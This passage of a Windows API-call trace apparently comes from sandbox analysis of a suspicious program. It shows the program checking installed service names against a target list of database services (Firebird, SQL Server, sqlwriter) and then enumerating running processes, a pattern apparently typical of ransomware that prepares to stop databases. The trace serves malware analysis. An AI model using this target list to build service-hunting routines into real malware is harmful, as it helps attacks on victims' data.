	[0183.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0183.197] lstrlenW (lpString="EventSystem") returned 11
	[0183.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0183.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0183.197] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0183.197] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0183.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0183.197] lstrlenW (lpString="FontCache") returned 9
	[0183.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0183.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0183.197] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0183.197] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0183.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0183.197] lstrlenW (lpString="gpsvc") returned 5
	[0183.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0183.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0183.197] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0183.197] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0183.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0183.197] lstrlenW (lpString="iphlpsvc") returned 8
	[0183.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0183.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0183.197] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0183.197] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0183.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0183.197] lstrlenW (lpString="KeyIso") returned 6
	[0183.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0183.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0183.197] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0183.197] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0183.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0183.198] lstrlenW (lpString="LanmanServer") returned 12
	[0183.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0183.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0183.198] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0183.198] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0183.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0183.198] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0183.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0183.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0183.198] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0183.198] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0183.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0183.198] lstrlenW (lpString="lfsvc") returned 5
	[0183.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0183.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0183.198] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0183.198] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0183.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0183.198] lstrlenW (lpString="lmhosts") returned 7
	[0183.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0183.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0183.198] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0183.198] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0183.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0183.198] lstrlenW (lpString="LSM") returned 3
	[0183.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0183.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0183.198] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0183.198] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0183.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0183.198] lstrlenW (lpString="MpsSvc") returned 6
	[0183.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0183.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0183.199] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0183.199] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0183.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0183.199] lstrlenW (lpString="NcbService") returned 10
	[0183.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0183.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0183.199] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0183.199] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0183.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0183.199] lstrlenW (lpString="netprofm") returned 8
	[0183.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0183.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0183.199] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0183.199] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0183.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0183.199] lstrlenW (lpString="NgcSvc") returned 6
	[0183.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0183.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0183.199] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0183.199] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0183.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0183.199] lstrlenW (lpString="NlaSvc") returned 6
	[0183.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0183.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0183.199] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0183.199] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0183.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0183.199] lstrlenW (lpString="nsi") returned 3
	[0183.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0183.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0183.200] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0183.200] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0183.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0183.200] lstrlenW (lpString="PcaSvc") returned 6
	[0183.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0183.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0183.200] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0183.200] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0183.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0183.200] lstrlenW (lpString="PlugPlay") returned 8
	[0183.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0183.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0183.200] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0183.200] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0183.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0183.200] lstrlenW (lpString="Power") returned 5
	[0183.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0183.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0183.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0183.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0183.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0183.200] lstrlenW (lpString="ProfSvc") returned 7
	[0183.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0183.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0183.200] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0183.200] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0183.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0183.200] lstrlenW (lpString="RpcEptMapper") returned 12
	[0183.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0183.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0183.201] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0183.201] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0183.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0183.201] lstrlenW (lpString="RpcSs") returned 5
	[0183.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0183.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0183.201] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0183.201] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0183.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0183.201] lstrlenW (lpString="SamSs") returned 5
	[0183.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0183.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0183.201] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0183.201] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0183.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0183.201] lstrlenW (lpString="Schedule") returned 8
	[0183.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0183.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0183.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0183.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0183.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0183.201] lstrlenW (lpString="SecurityHealthService") returned 21
	[0183.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0183.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0183.201] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0183.201] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0183.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0183.201] lstrlenW (lpString="SENS") returned 4
	[0183.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0183.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0183.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0183.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0183.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0183.202] lstrlenW (lpString="ShellHWDetection") returned 16
	[0183.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0183.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0183.202] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0183.202] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0183.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0183.202] lstrlenW (lpString="Spooler") returned 7
	[0183.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0183.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0183.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0183.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0183.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0183.202] lstrlenW (lpString="StateRepository") returned 15
	[0183.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0183.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0183.202] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0183.202] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0183.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0183.202] lstrlenW (lpString="SysMain") returned 7
	[0183.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0183.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0183.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0183.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0183.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0183.202] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0183.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0183.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0183.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0183.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0183.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0183.203] lstrlenW (lpString="Themes") returned 6
	[0183.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0183.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0183.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0183.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0183.203] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0183.535] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x590
	[0183.545] Process32FirstW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0183.545] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0183.546] lstrlenW (lpString="System") returned 6
	[0183.546] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0183.547] lstrlenW (lpString="smss.exe") returned 8
	[0183.547] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0183.547] lstrlenW (lpString="csrss.exe") returned 9
	[0183.547] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0183.548] lstrlenW (lpString="wininit.exe") returned 11
	[0183.548] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0183.548] lstrlenW (lpString="csrss.exe") returned 9
	[0183.548] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0183.549] lstrlenW (lpString="winlogon.exe") returned 12
	[0183.549] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0183.549] lstrlenW (lpString="services.exe") returned 12
	[0183.550] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0183.550] lstrlenW (lpString="lsass.exe") returned 9
	[0183.550] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0183.551] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0183.551] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0183.551] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0183.551] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.552] lstrlenW (lpString="svchost.exe") returned 11
	[0183.552] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.552] lstrlenW (lpString="svchost.exe") returned 11
	[0183.552] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0183.553] lstrlenW (lpString="dwm.exe") returned 7
	[0183.553] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.553] lstrlenW (lpString="svchost.exe") returned 11
	[0183.554] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.554] lstrlenW (lpString="svchost.exe") returned 11
	[0183.554] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.555] lstrlenW (lpString="svchost.exe") returned 11
	[0183.555] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.555] lstrlenW (lpString="svchost.exe") returned 11
	[0183.555] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.556] lstrlenW (lpString="svchost.exe") returned 11
	[0183.556] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.556] lstrlenW (lpString="svchost.exe") returned 11
	[0183.556] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.557] lstrlenW (lpString="svchost.exe") returned 11
	[0183.557] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.557] lstrlenW (lpString="svchost.exe") returned 11
	[0183.557] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.558] lstrlenW (lpString="svchost.exe") returned 11
	[0183.558] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.559] lstrlenW (lpString="svchost.exe") returned 11
	[0183.559] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0183.559] lstrlenW (lpString="spoolsv.exe") returned 11
	[0183.559] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.560] lstrlenW (lpString="svchost.exe") returned 11
	[0183.560] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0183.560] lstrlenW (lpString="audiodg.exe") returned 11
	[0183.560] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0183.561] lstrlenW (lpString="sihost.exe") returned 10
	[0183.561] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.561] lstrlenW (lpString="svchost.exe") returned 11
